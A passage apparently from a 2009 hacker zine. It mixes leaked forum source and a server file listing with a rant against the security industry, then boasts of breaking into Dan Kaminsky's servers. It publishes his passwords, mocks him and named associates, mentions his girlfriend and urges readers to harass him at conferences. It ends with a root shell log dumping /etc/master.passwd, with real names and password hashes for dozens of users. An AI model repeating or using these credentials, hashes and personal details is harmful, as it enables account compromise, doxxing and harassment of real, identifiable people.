valign="top" class="cb" ><div align="center"> 2959 <?= NT(7);?> 2960 </div></td> 2961 <td valign="top" class="cb" ><div align="center"> 2962 <?= PT(7);?> 2963 </div></td> 2964 </tr> 2965 <tr> 2966 <td valign="top" class="cb" ><a href="index.php?!=1&f=<?=$guid;?>|8" 2967 class="f">Browser hacking</a> <?= posts(8);?><br /> 2968 <div class="g">Hacking browsers, destroying browsers, and other browser 2969 mayhem.</div></td> 2970 <td valign="top" class="cb" ><div align="center"> 2971 <?= NT(8);?> 2972 </div></td> 2973 <td valign="top" class="cb" ><div align="center"> 2974 <?= PT(8);?> 2975 </div></td> 2976 </tr> 2977 <tr> 2978 <td valign="top" class="cb" ><a href="index.php?!=1&f=<?=$guid;?>|9" 2979 class="f">Lifestyle</a> <?= posts(9);?><br /> 2980 <div class="g">The hacker lifestyle, mind hacking, the way of 2981 life.</div></td> 2982 <td valign="top" class="cb" ><div align="center"> 2983 <?= NT(9);?> 2984 </div></td> 2985 <td valign="top" class="cb" ><div align="center"> 2986 <?= PT(9);?> 2987 </div></td> 2988 </tr> 2989 <tr> 2990 <td valign="top" class="cb" ><a 2991 href="index.php?!=1&f=<?=$guid;?>|10" class="f">Software hacking</a> <?= 2992 posts(10);?><br /> 2993 <div class="g">Got some cool software hacks? post them 2994 here.</div></td> 2995 <td valign="top" class="cb" ><div align="center"> 2996 <?= NT(10);?> 2997 </div></td> 2998 <td valign="top" class="cb" ><div align="center"> 2999 <?= PT(10);?> 3000 </div></td> 3001 </tr> 3002 <tr> 3003 <td valign="top" class="cb" ><a 3004 href="index.php?!=1&f=<?=$guid;?>|11" class="f">Hardware hacking</a> <?= 3005 posts(11);?><br /> 3006 <div class="g">We hack, hack, hack. So also computers, and other 3007 property.</div></td> 3008 <td valign="top" class="cb" ><div align="center"> 3009 <?= NT(11);?> 3010 </div></td> 3011 <td valign="top" class="cb" ><div align="center"> 3012 <?= PT(11);?> 3013 </div></td> 3014 </tr> 3015 <tr> 3016 <td valign="top" class="cb" ><a 3017 href="index.php?!=1&f=<?=$guid;?>|12" class="f">Chillin</a> <?= 3018 posts(12);?><br /> 3019 <div class="g">Just chill and relax a bit...</div></td> 3020 <td valign="top" class="cb" ><div align="center"> 3021 <?= NT(12);?> 3022 </div></td> 3023 <td valign="top" class="cb" ><div align="center"> 3024 <?= PT(12);?> 3025 </div></td> 3026 </tr> 3027 <tr> 3028 <td valign="top" class="cb" ><a 3029 href="index.php?!=1&f=<?=$guid;?>|13" class="f">Tutorials</a> <?= 3030 posts(13);?><br /> 3031 <div class="g">Posted tutorials, links to them and Q & 3032 A</div></td> 3033 <td valign="top" class="cb" ><div align="center"> 3034 <?= NT(13);?> 3035 </div></td> 3036 <td valign="top" class="cb" ><div align="center"> 3037 <?= PT(13);?> 3038 </div></td> 3039 </tr> 3040 <tr> 3041 <td valign="top" class="cb" ><a 3042 href="index.php?!=1&f=<?=$guid;?>|14" class="f">Trashbin</a> <?= 3043 posts(14);?><br /> 3044 <div class="g">Rubbish and spam.</div></td> 3045 <td valign="top" class="cb" ><div align="center"> 3046 <?= NT(14);?> 3047 </div></td> 3048 <td valign="top" class="cb" ><div align="center"> 3049 <?= PT(14);?> 3050 </div></td> 3051 </tr> 3052 </table> 3053 <br /> 3054 <table width="100%" border="0" cellspacing="1" cellpadding="3" class="silv"> 3055 <tr> 3056 <td class="cb"><div align="right"><a href="?!=5" class="f" 3057 target="_blank">Register</a></div></td> 3058 </tr> 3059 </table> 3060 <? 3061 } 3062 ?> 3063 </div> 3064 3065 Casual file listing... 3066 3067 -rwx------ 1 ronald ronald 2629 2009-01-23 17:21 125x125freexssa.gif 3068 -rwx------ 1 ronald ronald 2250 2009-01-23 17:21 1338.gif 3069 -rwx------ 1 ronald ronald 1645 2009-01-23 17:22 about.php 3070 -rwx------ 1 ronald ronald 4374 2009-01-23 17:22 archive.php 3071 -rwx------ 1 ronald ronald 4849 2009-01-23 17:21 arioso.js 3072 -rwx------ 1 ronald ronald 15616 2009-01-23 17:21 ascii.html 3073 drwx------ 2 ronald ronald 65536 2009-01-23 17:22 avatars 3074 drwx------ 2 ronald ronald 8192 2009-01-23 17:22 cache 3075 -rwx------ 1 ronald ronald 3957 2009-01-23 17:21 cap.php 3076 -rwx------ 1 ronald ronald 561 2009-01-23 17:22 contact.php 3077 drwx------ 2 ronald ronald 8192 2009-01-23 17:21 css 3078 -rwx------ 1 ronald ronald 209 2009-01-23 17:21 dx.php 3079 -rwx------ 1 ronald ronald 2515 2009-01-23 17:21 err.php 3080 -rwx------ 1 ronald ronald 118 2009-01-23 17:21 favicon.ico 3081 -rwx------ 1 ronald ronald 197 2009-01-23 17:21 fav.php 3082 -rwx------ 1 ronald ronald 34228 2009-01-23 17:21 forumasas.php 3083 -rwx------ 1 ronald ronald 7988 2009-01-23 17:21 fuzzy_overdrive.txt 3084 -rwx------ 1 ronald ronald 712 2009-01-23 17:21 google.php 3085 -rwx------ 1 ronald ronald 4889 2009-01-23 17:21 Hostscanner.phps 3086 -rwx------ 1 ronald ronald 1513 2009-01-23 17:21 .htaccess 3087 -rwx------ 1 ronald ronald 1412557 2009-01-23 17:21 icon.txt 3088 drwx------ 3 ronald ronald 16384 2009-01-23 17:22 images 3089 drwx------ 2 ronald ronald 8192 2009-01-23 17:22 include 3090 -rwx------ 1 ronald ronald 5739 2009-01-23 17:21 index2sssdsdw.php 3091 -rwx------ 1 ronald ronald 4194 2009-01-23 17:21 index.php 3092 -rwx------ 1 ronald ronald 6204 2009-01-23 17:21 index_pig.php 3093 drwx------ 2 ronald ronald 8192 2009-01-23 17:21 js 3094 -rwx------ 1 ronald ronald 5333 2009-01-23 17:21 linkdumpssdsw.php 3095 -rwx------ 1 ronald ronald 570 2009-01-23 17:21 log.html 3096 -rwx------ 1 ronald ronald 4631 2009-01-23 17:22 logo.gif 3097 -rwx------ 1 ronald ronald 3449 2009-01-23 17:22 logo_over.gif 3098 -rwx------ 1 ronald ronald 7612 2009-01-23 17:21 logo.png 3099 -rwx------ 1 ronald ronald 1712 2009-01-23 17:21 no.gif 3100 -rwx------ 1 ronald ronald 77020 2009-01-23 17:21 NYF.jpg 3101 drwx------ 3 ronald ronald 8192 2009-01-23 17:21 od 3102 -rwx------ 1 ronald ronald 1189 2009-01-23 17:21 phpPOP3bruteforcer.phps 3103 -rwx------ 1 ronald ronald 1223 2009-01-23 17:21 phpTORwrapper.phps 3104 drwx------ 2 ronald ronald 8192 2009-01-23 17:21 plesk-stat 3105 -rwx------ 1 ronald ronald 8641 2009-01-23 17:21 plopper.gif 3106 -rwx------ 1 ronald ronald 9298 2009-01-23 17:21 plopper.rar 3107 -rwx------ 1 ronald ronald 4326 2009-01-23 17:21 registersddsw.php 3108 -rwx------ 1 ronald ronald 2192 2009-01-23 17:21 3109 remoteSQLhashExtracter.phps 3110 -rwx------ 1 ronald ronald 0 2009-01-23 17:22 robots.txt 3111 -rwx------ 1 ronald ronald 774 2009-01-23 17:21 rss.php 3112 -rwx------ 1 ronald ronald 12994 2009-01-23 17:21 secure_coding_map.png 3113 drwx------ 2 ronald ronald 8192 2009-01-23 17:21 smiles 3114 -rwx------ 1 ronald ronald 6767 2009-01-23 17:22 sn00per.phps 3115 -rwx------ 1 ronald ronald 204 2009-01-23 17:21 sop2.html 3116 -rwx------ 1 ronald ronald 1036 2009-01-23 17:21 sop.html 3117 -rwx------ 1 ronald ronald 2001 2009-01-23 17:22 stats.php 3118 -rwx------ 1 ronald ronald 989 2009-01-23 17:21 style.css 3119 -rwx------ 1 ronald ronald 74209 2009-01-23 17:22 suigenchi.rar 3120 -rwx------ 1 ronald ronald 14709 2009-01-23 17:21 thw.gif 3121 -rwx------ 1 ronald ronald 2035 2009-01-23 17:22 tools.php 3122 -rwx------ 1 ronald ronald 39048 2009-01-23 17:22 TorSniff.phps 3123 drwx------ 3 ronald ronald 8192 2009-01-23 17:22 webappsec 3124 drwx------ 2 ronald ronald 8192 2009-07-15 12:27 x 3125 3126 Again, we could drop the database and users but there is no need, this is old 3127 material but fun material :) 3128 3129 Ronald said he'd had enough of security a while back, he had many wannabes who 3130 worshipped him. He probably got to the stage at which he realised that what he 3131 did does not require much intelligence. When you realise that and you have 3132 people worshipping you - you get to wondering how dumb some of these people 3133 are, and hence the security industry is. Ronald got to that point despite 3134 lacking much security talent himself (see above) and focusing on just web 3135 security. Credit to you for sticking to your guns and walking away Ronald, one 3136 thing is for sure, there is more class in your slightly stretched (im sure) 3137 dutch asshole than there is in Jeremiah Grossman and rsnake's brains. 3138 3139 3140 3141 | 3142 \ / _\/_ 3143 Industry check .-'-. //o\ _\/_ 3144 -- / \ -- | /o\\ 3145 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 3146 We don't talk to police | 3147 We don't make a peace bond 3148 3149 The security scene is fucked. You have Dan Kaminsky lecturing you on how DNS 3150 poisoning will destroy life as we know it. You have Matasano harvesting talent 3151 and critiquing everyone, and then Ptacek can only announce the release of....a 3152 graphical firewall management client. There's kingcope killing bugs and 3153 dropping weaponized exploits while making no other contribution except putting 3154 a smile on the face of kiddies. There's iDefense and their competitors selling 3155 exploits and only doing research in how to make more exploits. There's Jeff 3156 Moss running a conference under the hideous misnomer "Blackhat Briefings" where 3157 the same researchers search for glory and present the same shit year after 3158 year. There are people who just live press release by press release. And on top 3159 of it all, somehow you STILL have not got rid of Kevin Mitnick. The industry 3160 cares about virtualization one year and iPhones the next, every year forgetting 3161 the lessons it should have picked up in the last. 3162 3163 If you are just someone looking to pay a fair price to not get owned, you find 3164 out quickly that none of these people exist to help you. Very few people in 3165 this industry have their income model based around actually making you more 3166 secure. At best, some of them have it based around convincing you that you are 3167 better off. 3168 3169 The very concept of "penetration testing" is fundamentally flawed. The problem 3170 with it is that the penetration tester has a limited set of targets they're 3171 allowed to attack, while a real attacker can attack anything in order to gain 3172 access to the site/box. So if a site on a shared host is being tested, just 3173 because site1.com is "secure" that does NOT in anyway mean that the server is 3174 secure, because site2.com could easily be vulnerable to all sorts of simple 3175 attacks. The time constraint is another problem. A professional pentester with 3176 a week or two to spend on a client's network may or may not get into 3177 everything. A real dedicated hacker making the slog who spends a month of 3178 eight hour days WILL get into anything they target. You're lucky if it even 3179 takes him that long, really. 3180 3181 Those things should all be very obvious, but whitehats still make the mistake 3182 of discounting them. Look at Mitnick. Every time he gets owned he blames his 3183 host or his DNS provider. If he's getting owned through them, that's still his 3184 fault. Choosing a host is a security decision, it's just like choosing a 3185 password. If you choose a weak one you expose yourself. It's still your fault. 3186 3187 It's the same with outsourcing the development of your security-critical code. 3188 Mitnick could get someone else to make him a flashy website, and then blame 3189 them when it is full of file include vulnerabilities. People do this all the 3190 time, indirectly, by using ridiculous CMS or blog software. As an easy example, 3191 look at Wordpress. Even easier, look at Wordpress in 2007. Horrid. When 3192 considering Wordpress, a blackhat starts reading the PHP, shudders and giggles, 3193 and then laughs at the idea of ever using it on one of their servers. A 3194 whitehat never gets that far apparently, they just install it and get owned. I 3195 simply fail to see how leading security researchers run all kinds of code that 3196 is blatantly dangerous. Are they really that bad at reading code? Or do they 3197 just not care much if their passwords end up on Full Disclosure? If it's the 3198 second option, why is that? Why can these people make a living selling 3199 security when they make such bad choices? How do they maintain legitimacy? They 3200 take less responsibility for getting owned than do the people who they sell 3201 services to. 3202 3203 There's a popular term for people who don't read code. We call them script 3204 kiddies. 3205 3206 You cannot outsource blame. You HAVE to take responsibility for your mistakes, 3207 whether they are mistakes in your code, mistakes in code you are using, 3208 mistakes by your host, or mistakes in who you trust. These are all security 3209 choices. Learn to control this shit. Learn how to read code. A lot of the time 3210 it only takes a very shallow audit to realise that the code is crap and is 3211 bound to have bugs. In a smarter world, security professionals get paid to stop 3212 people from getting owned. End of. These is no limit to the scope of an audit. 3213 3214 Are you professional types really this out of touch? I see all these papers 3215 about how to protect yourself from these super-fucking-advanced techniques and 3216 exploits that very few people can actually develop, and most hackers will NEVER 3217 USE. It's the simple stuff that works now, and will continue to work years into 3218 the future. Not only is it way easier to dev for simple mistakes, but they are 3219 easier to find and are more plentiful. 3220 3221 The whole concept of full-disclosure has backfired. It will never work. It's 3222 some slashdot hippie pipe dream. Even you dumbass corporate types should 3223 recognize this. If you're constantly giving away all the vulnerabilites you 3224 find, for *FREE* mind you (and what other industry does that?), and the 3225 vulnerabilites get harder and harder to find and exploit, it will get harder 3226 and harder for you all to do your "job". Frankly, I'm surprised that the 3227 non-disclosure movement didn't start in the security industry in the first 3228 place. In a way it did, by default. With full-disclosure, the security 3229 industry is all about show and gloat, it is not about fixing anything. A lot of 3230 bugs have been fixed from it, but it comes with the price of an industry that 3231 likes to cripple itself. Projects run by teams of trained monkeys are always 3232 eager to add more bugs to replace those that have been fixed. 3233 3234 We hate the industry because it is full of shit. There are so many trolls like 3235 Kaminsky who just desperately search for anything new, to get attention. So 3236 many talentless buffoons trying to scam the planet. A lot of the actual talent 3237 out there is severely misapplied. It's an industry tied to news and not 3238 results, because very few of you can even attain results. When you can't, who's 3239 the wiser? Your customers can hardly tell if you have really made them more 3240 secure or not. Sometimes there are superficial benefits, sometimes there 3241 aren't. How do you convince the customer that they are more ZF0-safe than 3242 before, if they were never targetted and probably never will be? And you all 3243 lack the legitimacy to really do the job you should anyways. We can only expose 3244 so many frauds, the rest of you can pretend you have changed something. 3245 3246 Very few whitehats actually go out there and provide a service where they make 3247 people more secure. Not just for a day or a month. Are you genuinely fixing the 3248 underlying design and logic flaws that generate security problems for your 3249 clients or customers? If you actually clean up every exposed security flaw they 3250 have, will they still be "secure" in six months or a year? 3251 3252 We could go on. Just in general, the industry is failing. Flat out failing. 3253 3254 You cannot even protect yourselves. 3255 3256 3257 | 3258 \ / _\/_ 3259 Dan Kaminsky .-'-. //o\ _\/_ 3260 -- / \ -- | /o\\ 3261 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 3262 Just as every cop is a criminal | 3263 And all the sinners saints 3264 As heads is tails 3265 Just call me Lucifer 3266 'cause I'm in need of some restraint 3267 So if you meet me 3268 Have some courtesy 3269 Have some sympathy, and some taste 3270 Use all your well-learned politesse 3271 Or I'll lay your soul to waste 3272 3273 3274 !~~~~~~~~~~~~~~~~~~ Dan Kaminsky 0wned to Fuck ~~~~~~~~~~~~~~~~~~! 3275 3276 !~~~~~~~~~~ Table of Contents ~~~~~~~~~~! 3277 3278 1. mail.doxpara.com 3279 2. backend.doxpara.com 3280 3. attacker.doxpara.com 3281 4. www.doxpara.com 3282 5. Select spools 2005-2009 3283 6. Select gmail 3284 7. Select twitter 3285 3286 Dan Kaminsky is a noob. This guy does not know the first thing about 3287 security. His boxes were a crazy combination of half-updated shit, half- 3288 removed shit, half-installed shit, half-configured shit. The lack of things 3289 working properly actually blocked a bit of 0day. But Dan, do not go selling 3290 that as some kind of advanced defense - you provided us with plenty of local 3291 holes to exploit and root. 3292 3293 Dan is a selfish jerkoff who is hated by the security industry and the 3294 underground alike. He's fat and ugly in a way that only Gadi Evron could 3295 love. Is that hairy ass picture yours or ccg's? Do we want to know? 3296 3297 When Dan made a huge stink about DNS flaws about a year ago (July 2008) we 3298 knew we had to own him sooner or later. So we did. Him and his little 3299 whitehat bitch friends too. 3300 3301 Dan cannot even administer a box, let alone preach security. He lacks all 3302 real legitimacy because he only hunts for flashy bugs that he can turn into 3303 a big story. This guy would be the least important character in any real 3304 security organization, the fatass past his prime (did Dan have a prime?) 3305 who obsesses over areas that no-one else wants to touch just so he can 3306 find a niche and avoid getting let go. 3307 3308 spender puts this nicely: 3309 3310 < dan_kam> LS -AL 0DAYZ/ 3311 < dan_kam> LS -AL 0DAYZ/ 3312 < spender> dns1.c 3313 < spender> dns2.c 3314 < spender> dns3.c 3315 < spender> dns4.c 3316 < spender> dns5.c 3317 < spender> dns6.c 3318 < spender> dns7.c 3319 < dan_kam> grsux.c 3320 < spender> dns8.c 3321 < spender> dns9.c 3322 < dan_kam> stab_spender.c 3323 3324 We hacked Dan's assets first through finding bugs and writing 0day, and 3325 then through abusing him giving away passwords and his silly password 3326 scheme. Check out just some of his passes: 3327 3328 fuck.hackers, 0hn0z (root account on his mail box), fuck.omg, fuck.vps, 3329 ohhai 3330 3331 Five character root password? Niiiiiiice. 3332 3333 From .mysql_history: 3334 SET PASSWORD FOR 'root'@'localhost' = PASSWORD('fuck.mysql'); 3335 3336 See the pattern? 3337 3338 Adding fuel to the fire (and hopefully flames to his talks!), Dan has 3339 a messy personal life involving him, his girlfriend, and other girls who 3340 he would love to get with. For once, we are mostly sparing the girlfriend. 3341 Who says chivalry is dead? But we'll still point out the dating torrents 3342 that Kaminsky downloads. 3343 3344 Will people please troll Dan at BHB and Defcon? Basically anybody with 3345 the loosest affiliation to ZF0 doesn't want to do it for obvious reasons. 3346 So we need everyone else to. Ask questions. Ask him how he feels about 3347 being a security researcher while hackers can read his most private 3348 messages. While we can keep up on any "work" he is doing. While we can 3349 monitor whitehat communications through individual emails and mailing 3350 lists that he is a part of. How we've read every emo conversation 3351 between him and ccg. Ask him what the fuck he is doing standing before 3352 you as a lecturer. 3353 3354 Remember, anyone *not* trolling Dan must be ZF0. You don't want to be 3355 accused of such a thing, do you? So put your hands up! 3356 3357 The hax logs of Dan's bounces run about 8000 lines, so that's the number 3358 to skip if you don't want to read them. 3359 3360 3361 !~~~~~~~~~~ mail.doxpara.com ~~~~~~~~~~! 3362 3363 Password: 3364 Last login: Mon Jun 29 10:00:45 2009 from cpe-72-225-172- 3365 FreeBSD 7.0-STABLE (GENERIC) #0: Mon Jul 28 18:18:06 PDT 2008 3366 3367 ******************************************************************************** 3368 ******************************************************************************** 3369 OS Update to BSD 7.0 is complete. Email is up, procmail is up. 3370 Apache and MySQL are up and all websites seem to operating normally. 3371 Still patching a few more apps but things are good to go.... 3372 ******************************************************************************** 3373 ******************************************************************************** 3374 Any questions, let me know (pmauvais@gmail.com). 3375 %uname -a; id 3376 FreeBSD livingend.org 7.0-STABLE FreeBSD 7.0-STABLE #0: Mon Jul 28 18:18:06 PDT 3377 2008 psm@pmjm.com:/usr/obj/usr/src/sys/GENERIC i386 3378 uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) 3379 %cat /etc/passwd /etc/master.passwd 3380 # $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ 3381 # 3382 root:*:0:0:Charlie &:/root:/bin/csh 3383 toor:*:0:0:Bourne-again Superuser:/root: 3384 daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin 3385 operator:*:2:5:System &:/:/usr/sbin/nologin 3386 bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin 3387 tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin 3388 kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin 3389 games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin 3390 news:*:8:8:News Subsystem:/:/usr/sbin/nologin 3391 man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin 3392 sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin 3393 smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin 3394 mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin 3395 bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin 3396 proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin 3397 _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin 3398 _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin 3399 uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico 3400 pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin 3401 www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin 3402 nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin 3403 admin:*:1001:0:User &:/home/admin:/bin/sh 3404 ice:*:1000:1000:Eric Hampshire:/home/ice:/usr/local/bin/bash 3405 effugas:*:3000:1007:Dan Kaminsky:/home/effugas:/usr/local/bin/bash 3406 effugas_nr:*:0:1009:effugas_nr:/home/effugas_nr:/usr/local/bin/bash 3407 psm:*:1002:1002:Paul S. Mauvais:/home/psm:/bin/tcsh 3408 jmondala:*:1004:1004:Jayson Mondala:/home/jmondala:/bin/tcsh 3409 mysql:*:88:88:MySQL Daemon:/var/db/mysql:/sbin/nologin 3410 gir:*:1005:1005:ssj:/home/gir:/sbin/nologin 3411 mooseaccess:*:1007:1005:roomwithamoose.com staff access account: /home/mooseaccess:/usr/local/bin/bash 3412 jb:*:0:0:Jay "Ask DanK" Beale:/home/jb:/sbin/nologin 3413 jay:*:1008:1008:Jay Non-priv user:/home/jay:/sbin/nologin 3414 squid:*:100:100:squid caching-proxy pseudo user:/usr/local/squid:/sbin/nologin 3415 cyrus:*:60:60:the cyrus mail server:/nonexistent:/sbin/nologin 3416 karin:*:1010:1010:Karin Olefsky:/home/karin:/sbin/nologin 3417 hampshir:*:1011:1011:Linda Hampshire:/home/hampshir:/sbin/nologin 3418 andyw:*:1012:1012:Andy Washburn:/home/andyw:/sbin/nologin 3419 ginray:*:1013:1013:Ray Hampshire:/home/ginray:/sbin/nologin 3420 jcrossley:*:1014:1014:Josh Crossley:/home/jcrossley:/sbin/nologin 3421 dire:*:1015:1015:Dire:/home/dire:/usr/local/bin/bash 3422 tom:*:1017:1017:Tom:/home/tom:/sbin/nologin 3423 dante:*:1018:1018:Dante Fontana:/home/dante:/sbin/nologin 3424 tomstdenis:*:1019:1019:Tom St. Denis:/home/tomstdenis:/sbin/nologin 3425 pig:*:1020:1020:Piggy:/home/pig:/sbin/nologin 3426 spamd:*:58:58:SpamAssassin user:/var/spool/spamd:/sbin/nologin 3427 bmondala:*:1021:1021:Byron Mondala:/home/bmondala:/usr/local/bin/bash 3428 jeff:*:3001:3001:Jeff (andy's roommate):/home/jeff:/sbin/nologin 3429 jaymi:*:3002:3002:Jaymi:/home/jaymi:/usr/local/bin/bash 3430 dmktest:*:3003:3003:QUick IMAP testing acct:/home/dmktest:/bin/sh 3431 clamav:*:106:106:Clam Antivirus:/nonexistent:/sbin/nologin 3432 courier:*:465:465:Courier Mail System:/var/spool/courier:/sbin/nologin 3433 dovecot:*:3005:3005:Dovecot:/nonexistent:/sbin/nologin 3434 bre:*:3007:3007:Bre Pettis (friend of DanK):/home/bre:/usr/local/bin/bash 3435 messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/sbin/nologin 3436 jenicole:*:3009:3009:Jenifer Hendersen:/home/jenicole:/usr/local/bin/bash 3437 ventrilo:*:3010:3010:Vent Server:/home/ventrilo:/usr/local/bin/bash 3438 teamspeak:*:3011:3011:Teamspeak Server:/usr/local/lib/teamspeak_server:/bin/sh 3439 crystal:*:3012:3012:Crystal Williams (GF of DanK):/home/crystal:/bin/sh 3440 dakami:*:3013:3013:Dan Kaminsky:/home/dakami:/bin/sh 3441 d:*:3014:3014:Dan Kaminsky:/home/d:/bin/sh 3442 # $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ 3443 # 3444 root:$1$i/Ie/wCS$.KOSeZEDN6CA3yMkZneps1:0:0::0:0:Charlie &:/root:/bin/csh 3445 toor:*:0:0::0:0:Bourne-again Superuser:/root: 3446 daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin 3447 operator:*:2:5::0:0:System &:/:/usr/sbin/nologin 3448 bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin 3449 tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin 3450 kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin 3451 games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin 3452 news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin 3453 man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin 3454 sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin 3455 smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin 3456 mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin 3457 bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin 3458 proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin 3459 _pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin 3460 _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin 3461 uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico 3462 pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin 3463 www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin 3464 nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin 3465 admin:$1$Up9Pvs8P$PbxBZLtazl6ALXEB/4Rjl0:1001:0::0:0:User &:/home/admin:/bin/sh 3466 ice:$1$PD3B0JSg$lZdr6qbdsyw/l8nCfGemd0:1000:1000::0:0:Eric Hampshire:/home/ice:/usr/local/bin/bash 3467 effugas:$1$oZvjMVSM$Jty9wZ8MrctQi7ng/0DW0/:3000:1007::0:0:Dan Kaminsky:/home/effugas:/usr/local/bin/bash 3468 effugas_nr:$1$cpg5LHyh$ux6kFuzVbz9va5tVyr6zd1:0:1009::0:0:effugas_nr:/home/effugas_nr:/usr/local/bin/bash 3469 psm:oEebFXfhgTUEU:1002:1002::0:0:Paul S. Mauvais:/home/psm:/bin/tcsh 3470 jmondala:$1$oQCOHp1q$aysrD4rV2Qrm7lWFNXQGa1:1004:1004::0:0:Jayson Mondala:/home/jmondala:/bin/tcsh 3471 mysql:*:88:88::0:0:MySQL Daemon:/var/db/mysql:/sbin/nologin 3472 gir:$1$Lo2YVL9E$kP2JMg5t4LiLm.LZKxH4e/:1005:1005::0:0:ssj:/home/gir:/sbin/nologin 3473 mooseaccess:$1$YPhnYQUw$H9iKhq26emThSps7P7BR1.:1007:1005::0:0:roomwithamoose.com staff access account:/home/mooseaccess:/usr/local/bin/bash 3474 jb:$1$euM6Ur7n$sOwNVjRzwpTlkAKlB9rmg.:0:0::0:0:Jay "Ask DanK" Beale:/home/jb:/sbin/nologin 3475 jay:$1$o/rJ4n66$Er4Kwz.vLylWyNEfv3UkI.:1008:1008::0:0:Jay Non-priv user:/home/jay:/sbin/nologin 3476 squid:*:100:100::0:0:squid caching-proxy pseudo user:/usr/local/squid:/sbin/nologin 3477 cyrus:*:60:60::1126162800:0:the cyrus mail server:/nonexistent:/sbin/nologin 3478 karin:$1$sJNV5vfc$J4kqjoz6rWyAFMgRVhECJ1:1010:1010::0:0:Karin Olefsky:/home/karin:/sbin/nologin 3479 hampshir:$1$v.VtMVw2$y9O801Dd1xRZElRdwjGNu/:1011:1011::0:0:Linda Hampshire:/home/hampshir:/sbin/nologin 3480 andyw:$1$AHYmVj/z$WXl4jphDfetCvnxhgXPEl/:1012:1012::0:0:Andy Washburn:/home/andyw:/sbin/nologin 3481 ginray:$1$kxnbMdrw$PYqmfzO2hKLCuxGCoC/r6/:1013:1013::0:0:Ray Hampshire:/home/ginray:/sbin/nologin 3482 jcrossley:$1$8eqfPvQ5$eFJb/ahpcDwWxM2qx8Q98.:1014:1014::0:0:Josh Crossley:/home/jcrossley:/sbin/nologin 3483 dire:oZhmaPbAXAn6A:1015:1015::0:0:Dire:/home/dire:/usr/local/bin/bash 3484 tom:$1$ZLuPUB8/$3TT37qMyOkMHsgiY4unSX0:1017:1017::0:0:Tom:/home/tom:/sbin/nologin 3485 dante:$1$Q7jW/HjA$HFqQtTYlGbei8PXk.VdYq.:1018:1018::0:0:Dante Fontana:/home/dante:/sbin/nologin 3486 tomstdenis:$1$cTlcgI43$88XYWP8iWCGOeA4GVLKmQ0:1019:1019::0:0:Tom St. Denis:/home/tomstdenis:/sbin/nologin 3487 pig:$1$xvJADnU6$Vs1QxYM6.Y4A1Iwac.6bN.:1020:1020::0:0:Piggy:/home/pig:/sbin/nologin 3488 spamd:*:58:58::0:0:SpamAssassin user:/var/spool/spamd:/sbin/nologin 3489 bmondala:$1$iQVmQMD9$0cFAyR0lb20e4sKGCmGdI/:1021:1021::0:0:Byron Mondala:/home/bmondala:/usr/local/bin/bash 3490 jeff:$1$8L.vlF4X$Tbx/beOvwQ0NekpNk/taG1:3001:3001::0:0:Jeff (andy's roommate):/home/jeff:/sbin/nologin 3491 jaymi:$1$UUvdCblj$BPQTleL9/8wabAlbhPZSa1:3002:3002::0:0:Jaymi:/home/jaymi:/usr/local/bin/bash 3492 dmktest:$1$cuiENSK6$mbM/rhy2GLgurExfekIZY1:3003:3003::0:0:QUick IMAP testing acct:/home/dmktest:/bin/sh 3493 clamav:*:106:106::0:0:Clam Antivirus:/nonexistent:/sbin/nologin 3494 courier:*:465:465::0:0:Courier Mail System:/var/spool/courier:/sbin/nologin 3495 dovecot:*:3005:3005::0:0:Dovecot:/nonexistent:/sbin/nologin 3496 bre:$1$UME.X.Kz$iV61uueELXhDl/yRmszNM1:3007:3007::0:0:Bre Pettis (friend of DanK):/home/bre:/usr/local/bin/bash 3497 messagebus:*:556:556::0:0:D-BUS Daemon User:/nonexistent:/sbin/nologin 3498 jenicole:$1$MUi4DG.2$WhZSeodaU236IUTRVi8/X.:3009:3009::0:0:Jenifer 